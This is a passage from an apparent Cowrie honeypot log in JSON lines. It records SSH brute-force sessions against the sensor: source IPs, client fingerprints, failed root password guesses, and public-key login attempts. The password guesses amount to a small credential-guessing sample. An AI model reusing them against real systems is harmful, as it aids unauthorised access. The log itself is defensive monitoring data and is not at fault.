16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:24:14.391017Z","src_ip":"103.27.238.114","session":"b27c397b3ac8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin12","message":"login attempt [root/admin12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:24:14.938586Z","src_ip":"43.228.112.254","session":"bc5c27d35e11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"flhtyfkby","message":"login attempt [root/flhtyfkby] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:24:15.187231Z","src_ip":"103.27.238.114","session":"b27c397b3ac8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:24:16.168969Z","src_ip":"43.228.112.254","session":"bc5c27d35e11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:24:16.455673Z","src_ip":"103.27.238.114","session":"b27c397b3ac8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":53452,"dst_ip":"10.17.0.5","dst_port":22,"session":"30d1f8ca09ca","protocol":"ssh","message":"New connection: 103.15.222.183:53452 (10.17.0.5:22) [session: 30d1f8ca09ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:24:21.106914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:24:21.111553Z","src_ip":"103.15.222.183","session":"30d1f8ca09ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:24:21.365783Z","src_ip":"103.15.222.183","session":"30d1f8ca09ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"098098","message":"login attempt [root/098098] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:24:22.128791Z","src_ip":"103.15.222.183","session":"30d1f8ca09ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:24:23.385617Z","src_ip":"103.15.222.183","session":"30d1f8ca09ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":56726,"dst_ip":"10.17.0.5","dst_port":22,"session":"0842db2369d8","protocol":"ssh","message":"New connection: 62.133.62.83:56726 (10.17.0.5:22) [session: 0842db2369d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:24:29.273774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:24:29.277189Z","src_ip":"62.133.62.83","session":"0842db2369d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:24:29.357183Z","src_ip":"62.133.62.83","session":"0842db2369d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sestra","message":"login attempt [root/sestra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:24:29.593687Z","src_ip":"62.133.62.83","session":"0842db2369d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:24:30.674935Z","src_ip":"62.133.62.83","session":"0842db2369d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.30901789665222,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:24:34.298628Z","src_ip":"192.119.13.58","session":"4da754b3f77e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":50486,"dst_ip":"10.17.0.5","dst_port":22,"session":"12a6b58f58ea","protocol":"ssh","message":"New connection: 103.77.242.62:50486 (10.17.0.5:22) [session: 12a6b58f58ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:25:04.379732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:25:04.385129Z","src_ip":"103.77.242.62","session":"12a6b58f58ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:25:04.622442Z","src_ip":"103.77.242.62","session":"12a6b58f58ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:25:05.336655Z","src_ip":"103.77.242.62","session":"12a6b58f58ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:25:06.576496Z","src_ip":"103.77.242.62","session":"12a6b58f58ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.57.37","src_port":41362,"dst_ip":"10.17.0.5","dst_port":22,"session":"1aa35553b245","protocol":"ssh","message":"New connection: 43.130.57.37:41362 (10.17.0.5:22) [session: 1aa35553b245]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:25:11.763309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:25:11.767925Z","src_ip":"43.130.57.37","session":"1aa35553b245","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:25:11.836725Z","src_ip":"43.130.57.37","session":"1aa35553b245","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"K0nig2022","message":"login attempt [root/K0nig2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:25:12.144563Z","src_ip":"43.130.57.37","session":"1aa35553b245","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:25:13.221230Z","src_ip":"43.130.57.37","session":"1aa35553b245","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.121.69.138","src_port":29916,"dst_ip":"10.17.0.5","dst_port":22,"session":"12f784d0cf4c","protocol":"ssh","message":"New connection: 87.121.69.138:29916 (10.17.0.5:22) [session: 12f784d0cf4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:25:14.491983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:25:14.497447Z","src_ip":"87.121.69.138","session":"12f784d0cf4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:25:14.582405Z","src_ip":"87.121.69.138","session":"12f784d0cf4c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"95:99:ab:de:5a:a1:14:24:d9:ec:26:bd:2b:c0:a4:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCykLeRqrIb/QYJZ4u8TxT6v/+2mGcAtBlVGOy/GHbM7YjBOadc2thKsogc2KCzRVtSEibpXRYW++MITH3WBW9v5A+/15pSEHuOkxgYMN0ce+sEG33OrSuhZLesAopLIJ5dYDWVeSXwBur2luvlr9AC7kcnETXs/iywTyHfiBY6svto4YB5ZMd/Zvzr6IbWhzM23f5Dvyw1pT+j3GaziX1nENL9idhDe5FCQ1AXvlInPx2vF9AWvqxz967t2V0kr5s7VxPOAIr8cMqrzo4BwhzDPXtnwL6wfsG2WUuOV829WH400tTP0Eifj9XYZYufLwHPV8g/OCoWlDRf++oHo5bv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 95:99:ab:de:5a:a1:14:24:d9:ec:26:bd:2b:c0:a4:57","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:25:14.975254Z","src_ip":"87.121.69.138","session":"12f784d0cf4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"95:99:ab:de:5a:a1:14:24:d9:ec:26:bd:2b:c0:a4:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCykLeRqrIb/QYJZ4u8TxT6v/+2mGcAtBlVGOy/GHbM7YjBOadc2thKsogc2KCzRVtSEibpXRYW++MITH3WBW9v5A+/15pSEHuOkxgYMN0ce+sEG33OrSuhZLesAopLIJ5dYDWVeSXwBur2luvlr9AC7kcnETXs/iywTyHfiBY6svto4YB5ZMd/Zvzr6IbWhzM23f5Dvyw1pT+j3GaziX1nENL9idhDe5FCQ1AXvlInPx2vF9AWvqxz967t2V0kr5s7VxPOAIr8cMqrzo4BwhzDPXtnwL6wfsG2WUuOV829WH400tTP0Eifj9XYZYufLwHPV8g/OCoWlDRf++oHo5bv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:25:14.980788Z","src_ip":"87.121.69.138","session":"12f784d0cf4c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"96:91:81:f2:7f:d5:94:b7:5d:8b:74:4f:37:60:77:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPhgk1RS19WIGLerLT0gYRx7D94kYxJvKcc6IxBbWeCXhPZggc475SE7FIicPBPJ0W3PV2ng23tZNWINBTHOVDDNdjeIuym7xpl3SWlnlbgq9g1vpESwoTVCyVp+nlaxjfXoGmrKNYzzmqFucFH3QYsxOj2a5z8b0lzG+KdKZGFMKZQms2mKYHJiBRilLbxbbxkD+XmWYBYifDr8cOzjGGccMSRLKW0ojzE3jhmMksRqMMIHaZaLzcdC529dKoMRM0JoGMEn+OxubkytBtNylyQWrDHFBYGh/JFnW1IbEcHM65ITxHWDPi2OkreTPTxSfw/U80HGcCfcYvYUVMK2LJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 96:91:81:f2:7f:d5:94:b7:5d:8b:74:4f:37:60:77:ad","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:25:15.077106Z","src_ip":"87.121.69.138","session":"12f784d0cf4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"96:91:81:f2:7f:d5:94:b7:5d:8b:74:4f:37:60:77:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPhgk1RS19WIGLerLT0gYRx7D94kYxJvKcc6IxBbWeCXhPZggc475SE7FIicPBPJ0W3PV2ng23tZNWINBTHOVDDNdjeIuym7xpl3SWlnlbgq9g1vpESwoTVCyVp+nlaxjfXoGmrKNYzzmqFucFH3QYsxOj2a5z8b0lzG+KdKZGFMKZQms2mKYHJiBRilLbxbbxkD+XmWYBYifDr8cOzjGGccMSRLKW0ojzE3jhmMksRqMMIHaZaLzcdC529dKoMRM0JoGMEn+OxubkytBtNylyQWrDHFBYGh/JFnW1IbEcHM65ITxHWDPi2OkreTPTxSfw/U80HGcCfcYvYUVMK2LJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:25:15.090979Z","src_ip":"87.121.69.138","session":"12f784d0cf4c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ee:c9:66:7c:fe:8d:c7:60:36:f2:1a:88:f3:6e:7a:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDWAvz1XK25viCSYp+5iEZdZl4Sgl+1VsoXhU+K6H4F7dcJa9LMK1gQNNsh98Z0oR1OctRyzEDd2k2eAJ0P5k1rzYrQtJ7FATllOdGMA18LHa/K2vmI1/V6UOxDfnqKp03C7FMtLKvZ/p44im7l79MdTzBs/fWwoHZcIhjcAoKQbWc8rW42vp6FipPFhxZvZwE7f7rPta/JiszM1xkLwE6P8r/rZrIWFszB5dkbDN7D3DCmmibNOZA7/lhxi2cb0a7GXnaTfXJmSISeuRybCcwiMl6e8S2vE5YQ92QoZA+MP2utRwErUslaiYB4Sp7H/a4UimUf7tljIqqhu3vanzaZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ee:c9:66:7c:fe:8d:c7:60:36:f2:1a:88:f3:6e:7a:5f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:25:15.190270Z","src_ip":"87.121.69.138","session":"12f784d0cf4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ee:c9:66:7c:fe:8d:c7:60:36:f2:1a:88:f3:6e:7a:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDWAvz1XK25viCSYp+5iEZdZl4Sgl+1VsoXhU+K6H4F7dcJa9LMK1gQNNsh98Z0oR1OctRyzEDd2k2eAJ0P5k1rzYrQtJ7FATllOdGMA18LHa/K2vmI1/V6UOxDfnqKp03C7FMtLKvZ/p44im7l79MdTzBs/fWwoHZcIhjcAoKQbWc8rW42vp6FipPFhxZvZwE7f7rPta/JiszM1xkLwE6P8r/rZrIWFszB5dkbDN7D3DCmmibNOZA7/lhxi2cb0a7GXnaTfXJmSISeuRybCcwiMl6e8S2vE5YQ92QoZA+MP2utRwErUslaiYB4Sp7H/a4UimUf7tljIqqhu3vanzaZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:25:15.194850Z","src_ip":"87.121.69.138","session":"12f784d0cf4c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5e:d6:ee:65:f0:3f:b4:aa:ea:17:e8:c3:d1:ae:58:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCm7yV5gi2ol/3U8x1wF4GgxoZpJGuKq37kk4mLyhrKPTUYOReB7eksYxP2Qp6z5vbfpT1h73GZZt60Ohq43+oW23M9aUbQ/gcE7cdozmhL2zo0OClzSnqygw8Lp3HqKCmPayJbnJVdeGIPc68grtfOaBpDsQeFojAFQOakm5NitXvxZOh8LFkUSdBCvyAGxT/lTSY7CmhEoUBDNfaSr6o+KbkLJKjp9eHEpDlTLa9aDNyY6IN/gydYF8zSR5qYNx9tgniVM85jEpTRRnPW0d+W3K/RSKnZruyAyT6TaSpV6V8+GSQ2qNdREgY1QYpuNjEVgkOFhQNjVIx5t5K0r5s5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5e:d6:ee:65:f0:3f:b4:aa:ea:17:e8:c3:d1:ae:58:97","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:25:15.280567Z","src_ip":"87.121.69.138","session":"12f784d0cf4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5e:d6:ee:65:f0:3f:b4:aa:ea:17:e8:c3:d1:ae:58:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCm7yV5gi2ol/3U8x1wF4GgxoZpJGuKq37kk4mLyhrKPTUYOReB7eksYxP2Qp6z5vbfpT1h73GZZt60Ohq43+oW23M9aUbQ/gcE7cdozmhL2zo0OClzSnqygw8Lp3HqKCmPayJbnJVdeGIPc68grtfOaBpDsQeFojAFQOakm5NitXvxZOh8LFkUSdBCvyAGxT/lTSY7CmhEoUBDNfaSr6o+KbkLJKjp9eHEpDlTLa9aDNyY6IN/gydYF8zSR5qYNx9tgniVM85jEpTRRnPW0d+W3K/RSKnZruyAyT6TaSpV6V8+GSQ2qNdREgY1QYpuNjEVgkOFhQNjVIx5t5K0r5s5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:25:15.285017Z","src_ip":"87.121.69.138","session":"12f784d0cf4c","protocol":"ssh"}
